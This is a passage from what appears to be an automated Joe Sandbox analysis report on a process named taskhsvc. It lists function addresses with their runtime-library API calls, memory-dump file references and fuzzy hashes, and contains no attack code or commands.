                                                                                                                            • Part of subcall function 00C3F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C26074), ref: 00C3F7B2
                                                                                                                            • Part of subcall function 00C7B306: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00CEDAF0), ref: 00C7B34F
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00CD62CB
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strcmp
                                                                                                                          • String ID: Ll$t
                                                                                                                          • API String ID: 1460488257-1819403523
                                                                                                                          • Opcode ID: 0397feb87619f49fd1490f01ce044552e4a4d4f5e0cb1d08ff0975d5af69bbd4
                                                                                                                          • Instruction ID: cf2f545c7f3140e7b746d44f821beffee15017603dd205fc7c0c5771208b27a1
                                                                                                                          • Opcode Fuzzy Hash: 0397feb87619f49fd1490f01ce044552e4a4d4f5e0cb1d08ff0975d5af69bbd4
                                                                                                                          • Instruction Fuzzy Hash: E671AD749053289FDB60DF68C885B99BBF1BF09304F0089DAE588AB342D7749A84CF52
                                                                                                                          Function 00C9406F Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 144COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C942A7
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT ref: 00C940CC
                                                                                                                            • Part of subcall function 00C8D20C: __stack_chk_fail.LIBSSP-0 ref: 00C8D242
                                                                                                                            • Part of subcall function 00C9BE12: __stack_chk_fail.LIBSSP-0 ref: 00C9BEC7
                                                                                                                            • Part of subcall function 00D224CD: memset.MSVCRT ref: 00D2251E
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$abortmemset
                                                                                                                          • String ID: <e$dK
                                                                                                                          • API String ID: 4235535680-493592600
                                                                                                                          • Opcode ID: 7934d5bb39c66dcf516f7a541490e64db490a34a296f9aacbdb41b9c926cf97f
                                                                                                                          • Instruction ID: aa56a90b4b2275e44ccfd6a089a67b77aed462ec65f94ae9fff0018d5cfaed72
                                                                                                                          • Opcode Fuzzy Hash: 7934d5bb39c66dcf516f7a541490e64db490a34a296f9aacbdb41b9c926cf97f
                                                                                                                          • Instruction Fuzzy Hash: 2B61C3B4A087099FCB04DF69D584A9EBBF0FF88344F018829E898A7351D778D945CF62
                                                                                                                          Function 00C8C0B2 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 114COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C8C278
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
                                                                                                                          • String ID: M)$M)$Z)
                                                                                                                          • API String ID: 4216919130-3550683610
                                                                                                                          • Opcode ID: a317bc837f7877ab703beff0759fbd26be5d315a1ed40e098eb2d08201af010d
                                                                                                                          • Instruction ID: b035bf2e74949346b3da6a88c236bd4a279ccda5750e22b43b0ac43cd1c4389f
                                                                                                                          • Opcode Fuzzy Hash: a317bc837f7877ab703beff0759fbd26be5d315a1ed40e098eb2d08201af010d
                                                                                                                          • Instruction Fuzzy Hash: 6951D5B4909309DFCB00DFA9D58469EFBF1AB88744F10841AE8A8E7351D738DA45CF66
                                                                                                                          Function 00CDF096 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 113COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • abort.MSVCRT ref: 00CDF126
                                                                                                                          • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,00CE09A6), ref: 00CDF1FB
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT ref: 00CDF1C4
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
